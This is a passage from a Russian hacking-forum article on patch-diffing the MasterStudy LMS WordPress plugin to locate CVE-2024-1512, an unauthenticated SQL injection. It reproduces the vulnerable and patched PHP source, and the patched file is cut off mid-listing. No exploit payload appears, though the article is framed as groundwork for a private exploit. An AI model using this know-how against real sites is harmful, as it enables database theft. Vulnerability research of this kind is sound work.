• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Дневник белой шляпы [Часть 11]: Пишем приват эксплоит CVE-2024-1512

grozdniyandy

White-Hat
Premium
Регистрация
11.08.2023
Сообщения
522
Реакции
677
Гарант сделки
2
Я отсутствовал около месяца, в течение которого работал исследователем для двух клиентов. Понимая, что это краткосрочное сотрудничество, я решил работать на полную и считаю, что это было оправданно. Моя работа в основном заключалась в разработке эксплойтов для одного клиента и исследовании приватных нулевых дней для другого. Для веб-пентестера переход в роль исследователя является вершиной карьеры. Лучше быть младшим исследователем, чем старшим пентестером (имхо). Эта статья посвящена основам разработки эксплойтов для уязвимостей, не имеющих публичных эксплойтов, с опорой исключительно на анализ различий в патчах (спасибо клиенту за обучение).

Содержание​

  • Выбор цели
  • Установка
  • Уязвимость
  • REST в WordPress
  • Так где же ты?
  • Разработка Эксплоита (Детектор)

Выбор цели​

Обычно я начинаю с уже доступных CVE или выбираю цели на основе их широкого использования. Как видно из моих предыдущих статей, я стараюсь избегать тем, связанных с SQL-инъекцией. На этот раз, однако, я искал цель, где мог бы использовать логирование баз данных для обнаружения SQL-инъекций. Сегодняшний анализ сосредоточен на плагине "WordPress LMS Plugin MasterStudy", который был загружен более 900 000 раз (https://wordpress.org/plugins/masterstudy-lms-learning-management-system/).

Установка​

NIST часто предоставляет минимальные описания, но в этом случае описание удивительно детализировано. https://nvd.nist.gov/vuln/detail/CVE-2024-1512
The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Для эксплуатации этой уязвимости необходимо загрузить версию 3.2.5 плагина, доступную по адресу https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.3.2.5.zip, и затем распаковать ее.
1708690176582.png

Изображение [1]


1708690201152.png

Изображение [2]​
После установки плагина следующим шагом является его активация.

Уязвимость​

Представим, что мы знаем только о наличии SQL-инъекции от NIST, без дополнительных деталей. Нам нужно было бы самостоятельно определить то где находится уязвимость, задача, которая одновременно увлекательна и выполнима. Исходной точкой является изучение внесенных в код изменений.

Уязвимый код
(https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=2795646#L1):
Код:
1    <?php
2
3    namespace stmLms\Classes\Models;
4
5    use STM_LMS_Options;
6    use stmLms\Classes\Models\StmOrder;
7    use stmLms\Classes\Models\StmOrderItems;
8    use stmLms\Classes\Models\Admin\StmStatisticsListTable;
9
10    class StmStatistics
11    {
12
13        static $instance;
14        public $object;
15
16        public static function set_screen($status, $option, $value)
17        {
18            return $value;
19        }
20
21        public static function init()
22        {
23
24            $model = new StmStatistics();
25            self::get_instance();
26            add_filter('set-screen-option', [__CLASS__, 'set_screen'], 10, 3);
27            if (is_admin()) {
28                add_action('init', [self::class, "init_statistics"]);
29            }
30        }
31
32        static function init_statistics() {
33
34            if(current_user_can('manage_options')) {
35                self::create_table_order_items();
36                self::woocommerce_order_items();
37                self::set_order_items_total_price();
38            }
39
40        }
41
42        public function admin_menu()
43        {
44            add_action('wpcfto_screen_stm_lms_settings_added', array($this, 'add_order_list'), 100, 1);
45        }
46
47        public function add_order_list()
48        {
49            $hook = add_submenu_page(
50                'stm-lms-settings',
51                __('Statistics', "masterstudy-lms-learning-management-system"),
52                __('Statistics', "masterstudy-lms-learning-management-system"),
53                'manage_options',
54                'stm_lms_statistics',
55                array($this, 'render_statistics')
56            );
57            add_action("load-$hook", [$this, 'stm_lms_statistics_screen_option']);
58        }
59
60        public function render_statistics()
61        {
62            stm_lms_render(STM_LMS_PATH . "/lms/views/statistics/statistics", [], true);
63        }
64
65        public function stm_lms_statistics_screen_option()
66        {
67            $option = 'per_page';
68            $args = [
69                'label' => 'Statistics',
70                'default' => 10,
71                'option' => 'stm_lms_statistics_per_page'
72            ];
73            add_screen_option($option, $args);
74            $this->object = new StmStatisticsListTable();
75        }
76
77        public static function set_order_items_total_price()
78        {
79            $is_run = get_option("stm_lms_set_order_total_price");
80            if (!$is_run) {
81                global $wpdb;
82                $prefix = $wpdb->prefix;
83                $orders = StmOrder::query()
84                    ->select(" _order.*, mete.`meta_value` as items ")
85                    ->asTable("_order")
86                    ->join(" left join " . $prefix . "postmeta as mete on (mete.post_id = _order.ID)  ")
87                    ->where_in("_order.post_type", ["stm-orders"])
88                    ->where("mete.`meta_key`", "items")
89                    ->group_by("_order.ID")
90                    ->find();
91                foreach ($orders as $order) {
92                    $total_price = 0;
93                    foreach ($order->items as $item) {
94                        $total_price += $item['price'];
95
96                        // update or create order items
97                        if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
98                            $order_items = new StmOrderItems();
99                        $order_items->order_id = $order->ID;
100                        $order_items->object_id = $item['item_id'];
101                        $order_items->price = $item['price'];
102                        $order_items->quantity = 1;
103                        $order_items->transaction = 0;
104                        $order_items->save();
105                    }
106                    update_post_meta($order->ID, "_order_total", $total_price);
107                }
108                add_option("stm_lms_set_order_total_price", "1");
109            }
110        }
111
112        public static function woocommerce_order_items()
113        {
114            $is_run = get_option("stm_lms_set_woocommerce_order_items");
115            if (!$is_run) {
116                global $wpdb;
117                $prefix = $wpdb->prefix;
118                $orders = StmOrder::query()
119                    ->select(" _order.*, meta.meta_value as items")
120                    ->asTable("_order")
121                    ->join(" left join " . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') ")
122                    ->where("_order.`post_type`", "shop_order")
123                    ->find();
124                foreach ($orders as $order) {
125                    if (isset($order->items)) {
126                        foreach ($order->items as $item) {
127                            $price = get_post_meta($item['item_id'], "_price");
128
129                            // update or create order items
130                            if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
131                                $order_items = new StmOrderItems();
132                            $order_items->order_id = $order->ID;
133                            $order_items->object_id = $item['item_id'];
134                            $order_items->price = (isset($price[0])) ? $price[0] : 0;
135                            $order_items->quantity = $item['quantity'];
136                            $order_items->transaction = 0;
137                            $order_items->save();
138                        }
139                    }
140                }
141                add_option("stm_lms_set_woocommerce_order_items", "1");
142            }
143        }
144
145        public static function create_table_order_items()
146        {
147            global $wpdb;
148            require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
149            $charset_collate = $wpdb->get_charset_collate();
150            $table_name = $wpdb->prefix . 'stm_lms_order_items';
151            $sql = "CREATE TABLE {$table_name} (
152                                    id bigint(20) NOT NULL AUTO_INCREMENT,
153                                    order_id bigint(20) unsigned NOT NULL,
154                                    object_id bigint(20) unsigned NOT NULL,
155                                    payout_id bigint(20) unsigned,
156                                    quantity int(11) NOT NULL,
157                                    price float(24,2),
158                                    `transaction` varchar(100),
159                                    PRIMARY KEY  (id),
160                                    KEY `{$table_name}_order_id_index` (`order_id`),
161                                    KEY `{$table_name}_object_id_index` (`object_id`),
162                                    KEY `{$table_name}_payout_id_index` (`payout_id`)
163                                    ) {$charset_collate};";
164            maybe_create_table($table_name, $sql);
165        }
166
167        /**
168         * @return StmStatistics
169         */
170        public static function get_instance()
171        {
172            if (!isset(self::$instance)) {
173                self::$instance = new self();
174            }
175            return self::$instance;
176        }
177
178        /**
179         * @return mixed
180         */
181        public static function get_author_fee()
182        {
183            $author_fee = STM_LMS_Options::get_option('author_fee', false);
184            return ($author_fee) ? $author_fee : 10;
185        }
186
187        /**
188         * @param $offset
189         * @param $limit
190         * @param array $params
191         *
192         * @return array
193         */
194        public static function get_user_orders($offset, $limit, $params = [])
195        {
196            global $wpdb;
197            $prefix = $wpdb->prefix;
198            $user_orders = [
199                "items" => [],
200                "total" => 0,
201            ];
202            $query = StmOrder::query()
203                ->select(" _order.*, meta.* ")
204                ->asTable("_order")
205                ->join(" left join `" . $prefix . "stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID )
206                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
207                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
208
209            if (isset($params['id']) AND !empty($params['id'])) {
210                $query->where('_order.ID', $params['id']);
211            }
212
213            if (isset($params['created_date_from']) AND !empty(trim($params['created_date_from'])) AND isset($params['created_date_to']) AND !empty(trim($params['created_date_to']))) {
214                $query->where_raw('
215                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['created_date_from'])) . '" AND
216                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['created_date_to'])) . '"
217                    ');
218            }
219
220            if (isset($params['total_price']) AND !empty($params['total_price'])) {
221                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
222            }
223
224            if (isset($params['status']) AND !empty($params['status'])) {
225                $query->where_raw('
226                                    (
227                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
228                                            ( _order.post_status = "' . $params['status'] . '" )
229                                    )
230                            ');
231            }
232
233            if (isset($params['user']) AND !empty($params['user'])) {
234                $ids = [$params['user']];
235                if (!empty($ids)) {
236                    $query->where_raw('
237                                    (
238                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
239                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
240                                    )
241                            ');
242                }
243            }
244
245            if (isset($params['post_author']) AND !empty($params['post_author'])) {
246                $query->where("course.`post_author`", (int)$params['post_author']);
247            }
248
249            if (!empty($params['orderby'])) {
250                $query->sort_by(esc_sql($params['orderby']))
251                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
252            } else {
253                $query->sort_by("ID")->order(" DESC ");
254            }
255
256            $query_total = clone $query;
257
258            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT _order.ID) as count ")->findOne()->count;
259            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
260                ->group_by("_order.ID")
261                ->limit($limit)
262                ->offset($offset);
263
264            $user_orders['items'] = $query->find();
265
266            return $user_orders;
267        }
268
269        /**
270         * @param $offset
271         * @param $limit
272         * @param array $params
273         *
274         * @return array
275         */
276        public static function get_user_order_items($offset, $limit, $params = [])
277        {
278            global $wpdb;
279            $prefix = $wpdb->prefix;
280            $user_orders = [
281                "items" => [],
282                "total" => 0,
283                "total_price" => 0,
284            ];
285            $query = StmOrderItems::query()
286                ->select(" lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ")
287                ->asTable("lms_order_items")
288                ->join(" left join `" . $prefix . "posts` as _order on ( lms_order_items.`order_id` = _order.ID )
289                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
290                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
291
292            if (isset($params['id']) AND !empty($params['id'])) {
293                $query->where('_order.ID', $params['id']);
294            }
295
296            if (isset($params['date_from']) AND !empty(trim($params['date_from'])) AND isset($params['date_to']) AND !empty(trim($params['date_to']))) {
297                $query->where_raw('
298                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['date_from'])) . '" AND
299                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['date_to'])) . '"
300                    ');
301            }
302
303            if (isset($params['total_price']) AND !empty($params['total_price'])) {
304                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
305            }
306
307            if (isset($params['status']) AND !empty($params['status'])) {
308                $query->where_raw('
309                                    (
310                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
311                                            ( _order.post_status = "' . $params['status'] . '" )
312                                    )
313                            ');
314            }
315
316            if (isset($params['user']) AND !empty($params['user'])) {
317                $ids = [$params['user']];
318                if (!empty($ids)) {
319                    $query->where_raw('
320                                    (
321                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
322                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
323                                    )
324                            ');
325                }
326            }
327
328            if (isset($params['course_id']) AND !empty($params['course_id'])) {
329                $query->where("course.ID", $params['course_id']);
330            }
331
332            if (isset($params['author_id']) AND !empty($params['author_id']) AND $params['author_id'] != 0) {
333                $query->where("course.`post_author`", (int)$params['author_id']);
334            }
335
336            if (isset($params['completed']) AND !empty($params['completed'])) {
337                $query->join(" left join " . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
338                    ->join(" left join " . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') ")
339                    ->where_raw(" (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )  ");
340            }
341
342            if (!empty($params['orderby'])) {
343                $query->sort_by(esc_sql($params['orderby']))
344                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
345            } else {
346                $query->sort_by("ID")->order(" DESC ");
347            }
348
349            $query_total = clone $query;
350            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT lms_order_items.id) as count ")->findOne()->count;
351
352            $query_total_price = clone $query;
353            $query_total_price->select(" SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ");
354            $total_price = $query_total_price->findOne()->total_price;
355            $user_orders['total_price'] = ($total_price) ? $total_price : 0;
356            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
357                ->group_by("lms_order_items.id")
358                ->limit($limit)
359                ->offset($offset);
360
361            $user_orders['items'] = $query->find();
362            return $user_orders;
363        }
364
365        public static function get_user_orders_api()
366        {
367            $offset = 0;
368            $limit = 10;
369
370            if (isset($_GET['offset']) AND !empty($_GET['offset']))
371                $offset = intval($_GET['offset']);
372
373            if (isset($_GET['limit']) AND !empty($_GET['limit']))
374                $limit = intval($_GET['limit']);
375
376            $params = $_GET;
377
378            $params['completed'] = true;
379
380            if ($params['author_id'])
381                return self::get_user_order_items($offset, $limit, $params);
382        }
383
384        /**
385         * @param $date_start
386         * @param $date_end
387         * @param $user_id
388         * @param null $course_id
389         *
390         * @return array
391         */
392        public static function get_course_statisticas($date_start, $date_end, $user_id, $course_id = null)
393        {
394            global $wpdb;
395            $data = [];
396            $courses = StmLmsCourse::query()
397                ->select(" course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount")
398                ->asTable("course")
399                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
400                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
401                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
402                ->where("course.post_author", $user_id)
403                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
404                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
405                ->where_raw(" (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') ")
406                ->group_by(" course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') ");
407
408            if ($course_id != null)
409                $courses->where("course.ID", $course_id)->findOne();
410
411            foreach ($courses->find() as $course) {
412                $data[] = [
413                    "id" => $course->ID,
414                    "title" => $course->post_title,
415                    "amount" => $course->amount,
416                    "date" => $course->date,
417                    "backgroundColor" => rand_color(0.50)
418                ];
419            }
420            return $data;
421        }
422
423        /**
424         * @param $user_id
425         * @param null $course_id
426         */
427        public static function get_course_sales_statisticas($user_id, $course_id = null)
428        {
429            global $wpdb;
430            $data = [];
431            $courses = StmLmsCourse::query()
432                ->select(" course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ")
433                ->asTable("course")
434                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
435                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
436                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
437                ->where("course.post_author", $user_id)
438                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
439                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
440                ->group_by(" course.ID ");
441
442            if ($course_id != null)
443                $courses->where("course.ID", $course_id)->findOne();
444
445
446
447
448            foreach ($courses->find() as $course) {
449                $data[] = [
450                    "id" => $course->ID,
451                    "title" => $course->post_title,
452                    "backgroundColor" => rand_color(0.50),
453                    "order_item_count" => $course->order_item_count
454                ];
455            }
456
457            return $data;
458        }
459
460    }

Исправленный код (https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=3036794#L1):
Код:
1    <?php
2
3    namespace stmLms\Classes\Models;
4
5    use STM_LMS_Options;
6    use stmLms\Classes\Models\Admin\StmStatisticsListTable;
7
8    class StmStatistics {
9
10            public static $instance;
11            public $object;
12
13            /**
14             * @return StmStatistics
15             */
16            public static function get_instance() {
17                    if ( ! isset( self::$instance ) ) {
18                            self::$instance = new self();
19                    }
20
21                    return self::$instance;
22            }
23
24            public static function init() {
25                    self::get_instance();
26
27                    if ( is_admin() ) {
28                            add_action( 'admin_init', array( self::class, 'init_statistics' ) );
29                    }
30            }
31
32            public static function init_statistics() {
33                    if ( current_user_can( 'manage_options' ) ) {
34                            self::create_table_order_items();
35                            self::woocommerce_order_items();
36                            self::set_order_items_total_price();
37                    }
38            }
39
40            public function admin_menu() {
41                    add_action( 'wpcfto_screen_stm_lms_settings_added', array( $this, 'add_order_list' ), 100, 1 );
42            }
43
44            public function add_order_list() {
45                    $hook = add_submenu_page(
46                            'stm-lms-settings',
47                            __( 'Statistics', 'masterstudy-lms-learning-management-system' ),
48                            __( 'Statistics', 'masterstudy-lms-learning-management-system' ),
49                            'manage_options',
50                            'stm_lms_statistics',
51                            array( $this, 'render_statistics' )
52                    );
53
54                    add_action( "load-$hook", array( $this, 'stm_lms_statistics_screen_option' ) );
55            }
56
57            public function render_statistics() {
58                    stm_lms_render( STM_LMS_PATH . '/lms/views/statistics/statistics', array(), true );
59            }
60
61            public function stm_lms_statistics_screen_option() {
62                    $option = 'per_page';
63                    $args   = array(
64                            'label'   => 'Statistics',
65                            'default' => 10,
66                            'option'  => 'stm_lms_statistics_per_page',
67                    );
68
69                    add_screen_option( $option, $args );
70
71                    $this->object = new StmStatisticsListTable();
72            }
73
74            public static function set_order_items_total_price() {
75                    $is_run = get_option( 'stm_lms_set_order_total_price' );
76
77                    if ( ! $is_run ) {
78                            global $wpdb;
79
80                            $orders = StmOrder::query()
81                                    ->select( ' _order.*, mete.`meta_value` as items ' )
82                                    ->asTable( '_order' )
83                                    ->join( ' left join ' . $wpdb->prefix . 'postmeta as mete on (mete.post_id = _order.ID)  ' )
84                                    ->where_in( '_order.post_type', array( 'stm-orders' ) )
85                                    ->where( 'mete.`meta_key`', 'items' )
86                                    ->group_by( '_order.ID' )
87                                    ->find();
88
89                            foreach ( $orders as $order ) {
90                                    $total_price = 0;
91                                    foreach ( $order->items as $item ) {
92                                            $total_price += $item['price'];
93
94                                            // update or create order items
95                                            $order_items = StmOrderItems::query()->where( 'order_id', $order->ID )->where( 'object_id', $item['item_id'] )->findOne();
96                                            if ( ! $order_items ) {
97                                                    $order_items = new StmOrderItems();
98                                            }
99                                            $order_items->order_id    = $order->ID;
100                                            $order_items->object_id   = $item['item_id'];
101                                            $order_items->price       = $item['price'];
102                                            $order_items->quantity    = 1;
103                                            $order_items->transaction = 0;
104                                            $order_items->save();
105                                    }
106
107                                    update_post_meta( $order->ID, '_order_total', $total_price );
108                            }
109
110                            update_option( 'stm_lms_set_order_total_price', '1' );
111                    }
112            }
113
114            public static function woocommerce_order_items() {
115                    $is_run = get_option( 'stm_lms_set_woocommerce_order_items' );
116                    if ( ! $is_run ) {
117                            global $wpdb;
118
119                            $prefix = $wpdb->prefix;
120                            $orders = StmOrder::query()
121                                    ->select( ' _order.*, meta.meta_value as items' )
122                                    ->asTable( '_order' )
123                                    ->join( ' left join ' . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') " )
124                                    ->where( '_order.`post_type`', 'shop_order' )
125                                    ->find();
126                            foreach ( $orders as $order ) {
127                                    if ( isset( $order->items ) ) {
128                                            foreach ( $order->items as $item ) {
129                                                    $price = get_post_meta( $item['item_id'], '_price' );
130
131                                                    // update or create order
132                                                    $order_items = StmOrderItems::query()->where( 'order_id', $order->ID )->where( 'object_id', $item['item_id'] )->findOne();
133                                                    if ( ! $order_items ) {
134                                                            $order_items = new StmOrderItems();
135                                                    }
136                                                    $order_items->order_id    = $order->ID;
137                                                    $order_items->object_id   = $item['item_id'];
138                                                    $order_items->price       = ( isset( $price[0] ) ) ? $price[0] : 0;
139                                                    $order_items->quantity    = $item['quantity'];
140                                                    $order_items->transaction = 0;
141                                                    $order_items->save();
142                                            }
143                                    }
144                            }
145
146                            update_option( 'stm_lms_set_woocommerce_order_items', '1' );
147                    }
148            }
149
150            public static function create_table_order_items() {
151                    global $wpdb;
152
153                    require_once ABSPATH . 'wp-admin/includes/upgrade.php';
154
155                    $charset_collate = $wpdb->get_charset_collate();
156                    $table_name      = $wpdb->prefix . 'stm_lms_order_items';
157                    $sql             = "CREATE TABLE {$table_name} (
158                                    id bigint(20) NOT NULL AUTO_INCREMENT,
159                                    order_id bigint(20) unsigned NOT NULL,
160                                    object_id bigint(20) unsigned NOT NULL,
161                                    payout_id bigint(20) unsigned,
162                                    quantity int(11) NOT NULL,
163                                    price float(24,2),
164                                    `transaction` varchar(100),
165                                    PRIMARY KEY  (id),
166                                    KEY `{$table_name}_order_id_index` (`order_id`),
167                                    KEY `{$table_name}_object_id_index` (`object_id`),
168                                    KEY `{$table_name}_payout_id_index` (`payout_id`)
169                                    ) {$charset_collate};";
170
171                    maybe_create_table( $table_name, $sql );
172            }
173
174            /**
175             * @return mixed
176             */
177            public static function get_author_fee() {
178                    $author_fee = STM_LMS_Options::get_option( 'author_fee', false );
179
180                    return $author_fee ? $author_fee : 10;
181            }
182
183            /**
184             * @param $offset
185             * @param $limit
186             * @param array $params
187             *
188             * @return array
189             */
190            public static function get_user_orders( $offset, $limit, $params = array() ) {
191                    global $wpdb;
192
193                    $prefix      = $wpdb->prefix;
194                    $user_orders = array();
195                    $query       = StmOrder::query()
196                            ->select( ' _order.*, meta.* ' )
197                            ->asTable( '_order' )
198                            ->join( ' left join `' . $prefix . 'stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID ) left join `' . $prefix . 'posts` as course on  (course.ID = lms_order_items.`object_id`) ' )
199                            ->where_in( '_order.post_type', array( 'stm-orders', 'shop_order' ) );
200
201                    if ( ! empty( $params['id'] ) ) {
202                            $query->where( '_order.ID', $params['id'] );
203                    }
204
205                    if ( ! empty( trim( $params['created_date_from'] ?? '' ) ) && ! empty( trim( $params['created_date_to'] ?? '' ) ) ) {
206                            $query->where_raw( ' DATE(_order.post_date) >= "' . gmdate( 'Y-m-d', strtotime( $params['created_date_from'] ) ) . '" AND DATE(_order.post_date) <= "' . gmdate( 'Y-m-d', strtotime( $params['created_date_to'] ) ) . '" ' );
207                    }
208
209                    if ( ! empty( $params['total_price'] ) ) {
210                            $query->where_raw( ' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ' );
211                    }
212
213                    if ( ! empty( $params['status'] ) ) {
214                            $query->where_raw(
215                                    ' (
216                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
217                                            ( _order.post_status = "' . $params['status'] . '" )
218                                    ) '
219                            );
220                    }
221
222                    if ( ! empty( $params['user'] ) ) {
223                            $ids = array( $params['user'] );
224                            if ( ! empty( $ids ) ) {
225                                    $query->where_raw(
226                                            ' (
227                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode( ',', $ids ) . ')) OR
228                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode( ',', $ids ) . '))
229                                    ) '
230                                    );
231                            }
232                    }
233
234                    if ( ! empty( $params['post_author'] ) ) {
235                            $query->where( 'course.`post_author`', (int) $params['post_author'] );
236                    }
237
238                    if ( ! empty( $params['orderby'] ) ) {
239                            $query->sort_by( esc_sql( $params['orderby'] ) )->order( ! empty( $params['order'] ) ? ' ' . esc_sql( $params['order'] ) : ' ASC' );
240                    } else {
241                            $query->sort_by( 'ID' )->order( ' DESC ' );
242                    }
243
244                    $query_total = clone $query;
245
246                    $user_orders['total'] = $query_total->select( ' COUNT(DISTINCT _order.ID) as count ' )->findOne()->count ?? 0;
247                    $query->join( ' left join ' . $prefix . 'postmeta as meta on (meta.post_id = _order.ID)' )
248                            ->group_by( '_order.ID' )
249                            ->limit( $limit )
250                            ->offset( $offset );
251
252                    $user_orders['items'] = $query->find();
253
254                    return $user_orders;
255            }
256
257            /**
258             * @param $offset
259             * @param $limit
260             * @param array $params
261             *
262             * @return array
263             */
264            public static function get_user_order_items( $offset, $limit, $params = array() ) {
265                    global $wpdb;
266                    $prefix      = $wpdb->prefix;
267                    $user_orders = array();
268                    $query       = StmOrderItems::query()
269                            ->select( ' lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ' )
270                            ->asTable( 'lms_order_items' )
271                            ->join( ' left join `' . $prefix . 'posts` as _order on ( lms_order_items.`order_id` = _order.ID ) left join `' . $prefix . 'posts` as course on  (course.ID = lms_order_items.`object_id`) ' )
272                            ->where_in( '_order.post_type', array( 'stm-orders', 'shop_order' ) );
273
274                    if ( ! empty( $params['id'] ) ) {
275                            $query->where( '_order.ID', intval( $params['id'] ) );
276                    }
277
278                    if ( empty( trim( $params['date_from'] ?? '' ) ) && ! empty( trim( $params['date_to'] ?? '' ) ) ) {
279                            $query->where_raw(
280                                    ' DATE(_order.post_date) >= "' . gmdate( 'Y-m-d', strtotime( $params['date_from'] ) ) . '" AND DATE(_order.post_date) <= "' . gmdate( 'Y-m-d', strtotime( $params['date_to'] ) ) . '" '
281                            );
282                    }
283
284                    if ( ! empty( $params['total_price'] ) ) {
285                            $query->where_raw( ' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ' );
286                    }
287
288                    if ( ! empty( $params['status'] ) ) {
289                            $query->where_raw(
290                                    ' (
291                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
292                                            ( _order.post_status = "' . $params['status'] . '" )
293                                    ) '
294                            );
295                    }
296
297                    if ( ! empty( $params['user'] ) ) {
298                            $user_id = intval( $params['user'] );
299                            if ( ! empty( $user_id ) ) {
300                                    $query->where_raw(
301                                            ' (
302                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . $user_id . ')) OR
303                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . $user_id . '))
304                                    ) '
305                                    );
306                            }
307                    }
308
309                    if ( ! empty( $params['course_id'] ) ) {
310                            $query->where( 'course.ID', intval( $params['course_id'] ) );
311                    }
312
313                    if ( ! empty( $params['author_id'] ) ) {
314                            $query->where( 'course.`post_author`', intval( $params['author_id'] ) );
315                    }
316
317                    if ( ! empty( $params['completed'] ) ) {
318                            $query->join( ' left join ' . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
319                                    ->join( ' left join ' . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') " )
320                                    ->where_raw( ' (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )  ' );
321                    }
322
323                    if ( ! empty( $params['orderby'] ) ) {
324                            $query->sort_by( esc_sql( $params['orderby'] ) )->order( ! empty( $params['order'] ) ? ' ' . esc_sql( $params['order'] ) : ' ASC' );
325                    } else {
326                            $query->sort_by( 'ID' )->order( ' DESC ' );
327                    }
328
329                    $query_total          = clone $query;
330                    $user_orders['total'] = $query_total->select( ' COUNT(DISTINCT lms_order_items.id) as count ' )->findOne()->count ?? 0;
331
332                    $query_total_price = clone $query;
333                    $query_total_price->select( ' SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ' );
334                    $total_price                = $query_total_price->findOne()->total_price ?? 0;
335                    $user_orders['total_price'] = ( $total_price ) ? $total_price : 0;
336                    $query->join( ' left join ' . $prefix . 'postmeta as meta on (meta.post_id = _order.ID)' )
337                            ->group_by( 'lms_order_items.id' )
338                            ->limit( $limit )
339                            ->offset( $offset );
340
341                    $user_orders['items'] = $query->find();
342
343                    return $user_orders;
344            }
345
346            public static function get_user_orders_api() {
347                    $offset = 0;
348                    $limit  = 10;
349
350                    check_ajax_referer( 'wp_rest', 'nonce' );
351
352                    if ( ! empty( $_POST['offset'] ) ) {
353                            $offset = intval( $_POST['offset'] );
354                    }
355
356                    if ( ! empty( $_POST['limit'] ) ) {
357                            $limit = intval( $_POST['limit'] );
358                    }
359
360                    $params = $_POST;
361
362                    $params['completed'] = true;
363
364                    if ( $params['author_id'] ) {
365                            return self::get_user_order_items( $offset, $limit, $params );
366                    }
367            }
368
369            /**
370             * @param $date_start
371             * @param $date_end
